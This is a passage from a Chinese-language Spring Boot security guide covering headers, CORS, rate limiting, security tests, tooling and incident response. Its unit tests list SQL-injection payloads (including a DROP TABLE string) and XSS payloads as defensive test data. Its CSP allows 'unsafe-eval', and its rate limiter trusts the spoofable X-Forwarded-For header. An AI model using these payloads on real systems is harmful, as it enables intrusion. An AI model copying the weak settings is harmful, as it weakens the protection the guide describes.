| 防护层级 | 防护措施 | 说明 |
|---|---|---|
| 网络层 | CDN/高防IP | 使用云服务商的DDoS防护服务 |
| 网络层 | 流量清洗 | 部署流量清洗设备 |
| 传输层 | SYN Cookie | 启用操作系统SYN Cookie |
| 传输层 | 连接限制 | 限制单IP并发连接数 |
| 应用层 | 限流策略 | 多层限流(IP/接口/全局) |
| 应用层 | IP信誉 | 基于行为的智能防护 |
| 应用层 | 验证码 | 可疑流量触发验证码 |
| 应用层 | WAF | Web应用防火墙 |
| 业务层 | 接口优化 | 热点接口缓存、异步处理 |
| 业务层 | 降级熔断 | 极端情况下服务降级 |
推荐云服务商DDoS防护方案:
| 云服务商 | 产品 | 防护能力 |
|---|---|---|
| 阿里云 | DDoS高防IP | 最高T级防护 |
| 腾讯云 | DDoS高防包 | 最高T级防护 |
| 华为云 | DDoS高防 | 最高T级防护 |
| AWS | Shield Advanced | 自动防护 |
| Cloudflare | DDoS Protection | 全球CDN+防护 |
八、安全架构设计
7.1 统一安全响应头
/**
* 安全响应头过滤器
*/
@Component
@WebFilter(urlPatterns = "/*", asyncSupported = true)
public class SecurityHeaderFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletResponse httpResponse = (HttpServletResponse) response;
// 1. 防止点击劫持
httpResponse.setHeader("X-Frame-Options", "DENY");
// 2. MIME类型嗅探保护
httpResponse.setHeader("X-Content-Type-Options", "nosniff");
// 3. 严格传输安全(HSTS)
httpResponse.setHeader("Strict-Transport-Security",
"max-age=31536000; includeSubDomains; preload");
// 4. 内容安全策略(CSP)
httpResponse.setHeader("Content-Security-Policy",
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline' 'unsafe-eval'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self' data:; " +
"frame-ancestors 'none'; " +
"base-uri 'self'; " +
"form-action 'self'");
// 5. 引用策略
httpResponse.setHeader("Referrer-Policy",
"strict-origin-when-cross-origin");
// 6. 权限策略
httpResponse.setHeader("Permissions-Policy",
"camera=(), microphone=(), geolocation=(), payment=()");
// 7. 移除服务器版本信息
httpResponse.setHeader("Server", "");
httpResponse.setHeader("X-Powered-By", "");
chain.doFilter(request, response);
}
}
7.2 CORS安全配置
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
// ✅ 指定允许的来源(不要使用*)
.allowedOrigins("https://www.example.com", "https://admin.example.com")
// ✅ 指定允许的方法
.allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
// ✅ 指定允许的头
.allowedHeaders("Authorization", "Content-Type", "X-Requested-With")
// ✅ 暴露响应头
.exposedHeaders("X-Total-Count", "X-Page-Number")
// ✅ 允许携带Cookie
.allowCredentials(true)
// ✅ 预检请求缓存时间
.maxAge(3600);
}
}
/**
* 更细粒度的CORS控制
*/
@Component
public class CustomCorsFilter implements Filter {
private static final Set<String> ALLOWED_ORIGINS = Set.of(
"https://www.example.com",
"https://admin.example.com"
);
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
String origin = httpRequest.getHeader("Origin");
// 动态检查来源
if (origin != null && ALLOWED_ORIGINS.contains(origin)) {
httpResponse.setHeader("Access-Control-Allow-Origin", origin);
httpResponse.setHeader("Access-Control-Allow-Credentials", "true");
httpResponse.setHeader("Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS");
httpResponse.setHeader("Access-Control-Allow-Headers",
"Authorization, Content-Type, X-Requested-With");
httpResponse.setHeader("Access-Control-Max-Age", "3600");
}
// 预检请求直接返回
if ("OPTIONS".equalsIgnoreCase(httpRequest.getMethod())) {
httpResponse.setStatus(HttpServletResponse.SC_OK);
return;
}
chain.doFilter(request, response);
}
}
7.3 接口限流
/**
* 接口限流注解
*/
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface RateLimit {
int limit() default 100; // 限流次数
int timeWindow() default 60; // 时间窗口(秒)
LimitType type() default LimitType.IP; // 限流类型
enum LimitType {
IP, // 按IP限流
USER, // 按用户限流
GLOBAL // 全局限流
}
}
/**
* 限流AOP切面(基于Redis + 滑动窗口)
*/
@Aspect
@Component
public class RateLimitAspect {
@Autowired
private RedisTemplate<String, String> redisTemplate;
@Around("@annotation(rateLimit)")
public Object around(ProceedingJoinPoint point, RateLimit rateLimit) throws Throwable {
String key = generateKey(point, rateLimit.type());
// 使用滑动窗口算法
long currentTime = System.currentTimeMillis();
long windowStart = currentTime - rateLimit.timeWindow() * 1000L;
String redisKey = "rate_limit:" + key;
// 移除窗口外的记录
redisTemplate.opsForZSet().removeRangeByScore(redisKey, 0, windowStart);
// 获取当前窗口内的请求数
Long count = redisTemplate.opsForZSet().zCard(redisKey);
if (count != null && count >= rateLimit.limit()) {
throw new TooManyRequestsException("请求过于频繁,请稍后重试");
}
// 添加当前请求
redisTemplate.opsForZSet().add(redisKey, String.valueOf(currentTime), currentTime);
// 设置过期时间
redisTemplate.expire(redisKey, rateLimit.timeWindow(), TimeUnit.SECONDS);
return point.proceed();
}
private String generateKey(ProceedingJoinPoint point, RateLimit.LimitType type) {
String methodName = point.getSignature().toShortString();
switch (type) {
case IP:
return getClientIp() + ":" + methodName;
case USER:
return SecurityUtils.getCurrentUserId() + ":" + methodName;
case GLOBAL:
return methodName;
default:
return methodName;
}
}
private String getClientIp() {
HttpServletRequest request = ((ServletRequestAttributes)
RequestContextHolder.getRequestAttributes()).getRequest();
String ip = request.getHeader("X-Forwarded-For");
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("X-Real-IP");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getRemoteAddr();
}
// 多个代理时取第一个
if (ip != null && ip.contains(",")) {
ip = ip.split(",")[0].trim();
}
return ip;
}
}
// 使用示例
@RestController
@RequestMapping("/api")
public class ApiController {
@GetMapping("/search")
@RateLimit(limit = 10, timeWindow = 60, type = RateLimit.LimitType.IP)
public ResponseEntity<List<Result>> search(@RequestParam String keyword) {
// 搜索逻辑
}
@PostMapping("/login")
@RateLimit(limit = 5, timeWindow = 300, type = RateLimit.LimitType.IP)
public ResponseEntity<LoginResponse> login(@RequestBody LoginRequest request) {
// 登录逻辑
}
}
九、安全测试指南
8.1 单元测试
/**
* SQL注入防护测试
*/
@SpringBootTest
@AutoConfigureMockMvc
class SqlInjectionTest {
@Autowired
private MockMvc mockMvc;
/**
* 测试SQL注入防护
*/
@ParameterizedTest
@ValueSource(strings = {
"' OR '1'='1",
"'; DROP TABLE users;--",
"1 UNION SELECT * FROM users",
"1' AND SLEEP(5)--",
"1' ORDER BY 1--",
"admin'--",
"1; WAITFOR DELAY '0:0:5'--"
})
void shouldBlockSqlInjection(String maliciousInput) throws Exception {
mockMvc.perform(get("/api/users")
.param("id", maliciousInput))
.andExpect(status().isBadRequest())
.andExpect(jsonPath("$.code").value("INVALID_INPUT"));
}
/**
* 测试正常输入
*/
@Test
void shouldAcceptValidInput() throws Exception {
mockMvc.perform(get("/api/users")
.param("id", "123"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.id").value(123));
}
}
/**
* XSS防护测试
*/
@SpringBootTest
@AutoConfigureMockMvc
class XssProtectionTest {
@Autowired
private MockMvc mockMvc;
@ParameterizedTest
@ValueSource(strings = {
"<script>alert('xss')</script>",
"<img src=x onerror=alert(1)>",
"javascript:alert(document.cookie)",
"<svg onload=alert(1)>",
"<body onload=alert(1)>",
"';alert(String.fromCharCode(88,83,83))//",
"<iframe src=\"javascript:alert(1)\">",
"\"><script>alert(1)</script>"
})
void shouldSanitizeXssInput(String maliciousInput) throws Exception {
mockMvc.perform(post("/api/comments")
.content("{\"content\":\"" + maliciousInput + "\"}")
.contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk())
.andExpect(jsonPath("$.content").value(not(containsString("<script>"))))
.andExpect(jsonPath("$.content").value(not(containsString("onerror"))));
}
}
/**
* CSRF防护测试
*/
@SpringBootTest
@AutoConfigureMockMvc
class CsrfProtectionTest {
@Autowired
private MockMvc mockMvc;
@Test
void shouldRejectRequestWithoutCsrfToken() throws Exception {
mockMvc.perform(post("/api/orders")
.content("{\"productId\":1,\"quantity\":1}")
.contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isForbidden());
}
@Test
void shouldAcceptRequestWithValidCsrfToken() throws Exception {
MvcResult result = mockMvc.perform(get("/api/csrf-token"))
.andExpect(status().isOk())
.andReturn();
String csrfToken = result.getResponse().getContentAsString();
mockMvc.perform(post("/api/orders")
.header("X-CSRF-TOKEN", csrfToken)
.content("{\"productId\":1,\"quantity\":1}")
.contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk());
}
}
/**
* 文件上传安全测试
*/
@SpringBootTest
@AutoConfigureMockMvc
class FileUploadSecurityTest {
@Autowired
private MockMvc mockMvc;
@Test
void shouldRejectMaliciousFileExtension() throws Exception {
MockMultipartFile file = new MockMultipartFile(
"file", "shell.php", "application/octet-stream", "malicious content".getBytes()
);
mockMvc.perform(multipart("/api/upload").file(file))
.andExpect(status().isBadRequest())
.andExpect(jsonPath("$.code").value("INVALID_FILE_TYPE"));
}
@Test
void shouldRejectFileWithMismatchedMagicNumber() throws Exception {
// 声称是PNG但实际不是
MockMultipartFile file = new MockMultipartFile(
"file", "image.png", "image/png", "not a real png".getBytes()
);
mockMvc.perform(multipart("/api/upload").file(file))
.andExpect(status().isBadRequest())
.andExpect(jsonPath("$.code").value("FILE_TYPE_MISMATCH"));
}
@Test
void shouldRejectOversizedFile() throws Exception {
byte[] largeContent = new byte[11 * 1024 * 1024]; // 11MB
MockMultipartFile file = new MockMultipartFile(
"file", "large.jpg", "image/jpeg", largeContent
);
mockMvc.perform(multipart("/api/upload").file(file))
.andExpect(status().isBadRequest())
.andExpect(jsonPath("$.code").value("FILE_TOO_LARGE"));
}
}
/**
* 越权访问测试
*/
@SpringBootTest
@AutoConfigureMockMvc
class AuthorizationTest {
@Autowired
private MockMvc mockMvc;
@Test
@WithMockUser(roles = "USER")
void shouldDenyAdminAccessForNormalUser() throws Exception {
mockMvc.perform(get("/api/admin/users"))
.andExpect(status().isForbidden());
}
@Test
@WithMockUser(username = "user1", roles = "USER")
void shouldDenyAccessToOtherUserResource() throws Exception {
// user1尝试访问user2的资源
mockMvc.perform(get("/api/users/2/orders"))
.andExpect(status().isForbidden());
}
@Test
@WithMockUser(username = "user1", roles = "USER")
void shouldAllowAccessToOwnResource() throws Exception {
mockMvc.perform(get("/api/users/1/orders"))
.andExpect(status().isOk());
}
}
8.2 集成测试
/**
* 安全集成测试
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
@Testcontainers
class SecurityIntegrationTest {
@Container
static PostgreSQLContainer<?> postgres = new PostgreSQLContainer<>("postgres:15")
.withDatabaseName("testdb")
.withUsername("test")
.withPassword("test");
@Container
static GenericContainer<?> redis = new GenericContainer<>("redis:7")
.withExposedPorts(6379);
@LocalServerPort
private int port;
private TestRestTemplate restTemplate;
@BeforeEach
void setUp() {
restTemplate = new TestRestTemplate();
}
@Test
void testFullAuthenticationFlow() {
// 1. 登录获取Token
LoginRequest loginRequest = new LoginRequest("user1", "password1");
ResponseEntity<LoginResponse> loginResponse = restTemplate.postForEntity(
"http://localhost:" + port + "/api/auth/login",
loginRequest,
LoginResponse.class
);
assertThat(loginResponse.getStatusCode()).isEqualTo(HttpStatus.OK);
String token = loginResponse.getBody().getToken();
// 2. 使用Token访问受保护资源
HttpHeaders headers = new HttpHeaders();
headers.setBearerAuth(token);
ResponseEntity<UserProfile> profileResponse = restTemplate.exchange(
"http://localhost:" + port + "/api/users/me",
HttpMethod.GET,
new HttpEntity<>(headers),
UserProfile.class
);
assertThat(profileResponse.getStatusCode()).isEqualTo(HttpStatus.OK);
assertThat(profileResponse.getBody().getUsername()).isEqualTo("user1");
}
@Test
void testRateLimiting() {
// 测试限流
for (int i = 0; i < 10; i++) {
restTemplate.getForEntity(
"http://localhost:" + port + "/api/public/search?keyword=test",
String.class
);
}
// 第11次请求应该被限流
ResponseEntity<String> response = restTemplate.getForEntity(
"http://localhost:" + port + "/api/public/search?keyword=test",
String.class
);
assertThat(response.getStatusCode()).isEqualTo(HttpStatus.TOO_MANY_REQUESTS);
}
}
8.3 渗透测试清单
## 安全测试清单
### 注入漏洞
- [ ] SQL注入(GET/POST/Cookie/HTTP Header)
- [ ] NoSQL注入(MongoDB、Redis)
- [ ] 命令注入
- [ ] LDAP注入
- [ ] XPath注入
- [ ] 表达式注入(SpEL、OGNL)
### 认证与授权
- [ ] 暴力破解防护
- [ ] 会话管理(Session固定、超时、注销)
- [ ] 密码策略(强度、加密存储)
- [ ] 多因素认证
- [ ] 水平/垂直越权
- [ ] JWT安全
### 文件处理
- [ ] 文件上传绕过
- [ ] 目录遍历
- [ ] 文件包含
### 客户端攻击
- [ ] XSS(反射型/存储型/DOM型)
- [ ] CSRF
- [ ] 点击劫持
- [ ] 开放重定向
### 服务端攻击
- [ ] SSRF
- [ ] XXE
- [ ] 反序列化
- [ ] 信息泄露
### 业务逻辑
- [ ] 竞态条件
- [ ] 金额篡改
- [ ] 重放攻击
- [ ] 流程绕过
十、安全检测工具
9.1 静态应用安全测试(SAST)
| 工具 | 类型 | 说明 |
|---|---|---|
| SonarQube | 开源/商业 | 代码质量和安全漏洞检测 |
| SpotBugs + FindSecBugs | 开源 | Java字节码分析 |
| Checkmarx | 商业 | 企业级SAST工具 |
| Fortify | 商业 | Micro Focus安全扫描 |
| Semgrep | 开源 | 轻量级代码扫描 |
Maven集成SpotBugs
<plugin>
<groupId>com.github.spotbugs</groupId>
<artifactId>spotbugs-maven-plugin</artifactId>
<version>4.7.3.6</version>
<configuration>
<effort>Max</effort>
<threshold>Low</threshold>
<xmlOutput>true</xmlOutput>
<plugins>
<plugin>
<groupId>com.h3xstream.findsecbugs</groupId>
<artifactId>findsecbugs-plugin</artifactId>
<version>1.12.0</version>
</plugin>
</plugins>
</configuration>
</plugin>
9.2 动态应用安全测试(DAST)
| 工具 | 类型 | 说明 |
|---|---|---|
| OWASP ZAP | 开源 | Web应用安全扫描器 |
| Burp Suite | 商业 | 最流行的Web安全测试工具 |
| Nessus | 商业 | 漏洞扫描器 |
| Nikto | 开源 | Web服务器扫描器 |
9.3 依赖组件扫描
| 工具 | 类型 | 说明 |
|---|---|---|
| OWASP Dependency-Check | 开源 | Maven/Gradle插件 |
| Snyk | 商业/免费 | 依赖漏洞扫描 |
| GitHub Dependabot | 免费 | 自动依赖更新 |
| Renovate | 开源 | 自动依赖更新 |
9.4 容器安全扫描
| 工具 | 类型 | 说明 |
|---|---|---|
| Trivy | 开源 | 容器镜像漏洞扫描 |
| Clair | 开源 | 容器静态分析 |
| Anchore | 开源/商业 | 容器安全平台 |
9.5 CI/CD安全集成
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up JDK 17
uses: actions/setup-java@v3
with:
java-version: '17'
distribution: 'temurin'
- name: Run OWASP Dependency-Check
run: mvn org.owasp:dependency-check-maven:check
- name: Run SpotBugs
run: mvn spotbugs:check
- name: Run SonarQube Scan
uses: sonarcloud/sonarcloud-github-action@master
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
- name: Build Docker Image
run: docker build -t myapp:${{ github.sha }} .
- name: Run Trivy Scan
uses: aquasecurity/trivy-action@master
with:
image-ref: 'myapp:${{ github.sha }}'
format: 'sarif'
output: 'trivy-results.sarif'
十一、漏洞应急响应
10.1 应急响应流程
发现漏洞 → 评估影响 → 制定方案 → 实施修复 → 验证测试 → 发布上线 → 复盘总结
10.2 漏洞严重等级
| 等级 | CVSS评分 | 响应时间 | 说明 |
|---|---|---|---|
| P0-致命 | 9.0-10.0 | 2小时内 | 远程代码执行、大规模数据泄露 |
| P1-严重 | 7.0-8.9 | 24小时内 | SQL注入、权限绕过 |
| P2-高危 | 4.0-6.9 | 1周内 | XSS、CSRF、信息泄露 |
| P3-中危 | 0.1-3.9 | 1月内 | 配置问题、低风险漏洞 |
| P4-低危 | 0.0 | 按计划修复 | 代码质量、最佳实践 |
10.3 应急响应模板
## 安全漏洞应急响应报告
### 基本信息
- **漏洞编号**:VULN-2024-001
- **发现时间**:2024-01-15 10:30:00
- **报告人**:安全团队
- **受影响系统**:用户服务 v2.3.1
### 漏洞描述
- **漏洞类型**:SQL注入
- **漏洞等级**:P1-严重
- **CVSS评分**:8.6
- **影响范围**:所有用户数据
### 漏洞详情
- **漏洞位置**:/api/users/search 接口
- **触发条件**:keyword参数未过滤
- **利用方式**:构造恶意SQL语句
### 修复方案
1. 使用PreparedStatement替代字符串拼接
2. 添加输入参数校验
3. 更新WAF规则
### 修复时间线
- **发现时间**:2024-01-15 10:30:00
- **响应时间**:2024-01-15 11:00:00
- **修复时间**:2024-01-15 14:00:00
- **验证时间**:2024-01-15 15:00:00
- **发布时间**:2024-01-15 16:00:00
### 验证结果
- [x] 单元测试通过
- [x] 安全测试通过
- [x] 渗透测试验证
### 复盘总结
- **根本原因**:开发阶段未执行安全编码规范
- **改进措施**:强制代码安全审查、集成SAST工具
附录
A. 安全编码速查表
| 场景 | 推荐做法 | 避免做法 |
|---|---|---|
| SQL查询 | PreparedStatement、JPA | 字符串拼接、${} |
| HTML输出 | Thymeleaf th:text | th:utext、innerHTML |
| 文件上传 | 白名单、魔数校验 | 仅检查扩展名 |
| XML解析 | 禁用DTD | 允许外部实体 |
| 反序列化 | 白名单、类型校验 | 反序列化不可信数据 |
| 密码存储 | BCrypt、SCrypt | MD5、SHA1 |
| 随机数 | SecureRandom | Math.random() |
| 日志记录 | 脱敏处理 | 打印敏感信息 |
B. 安全配置检查清单
Spring Boot安全配置:
server:
error:
include-stacktrace: never # 不暴露堆栈
include-message: never # 不暴露错误消息
servlet:
session:
cookie:
http-only: true # Cookie HttpOnly
secure: true # Cookie Secure
same-site: lax # SameSite属性
spring:
jackson:
serialization:
fail-on-empty-beans: false
deserialization:
fail-on-unknown-properties: true # 严格反序列化
C. 参考资源
- OWASP Top 10
- OWASP Cheat Sheet Series
- CWE/SANS Top 25
- Spring Security Reference
- NIST Cybersecurity Framework

浙公网安备 33010602011771号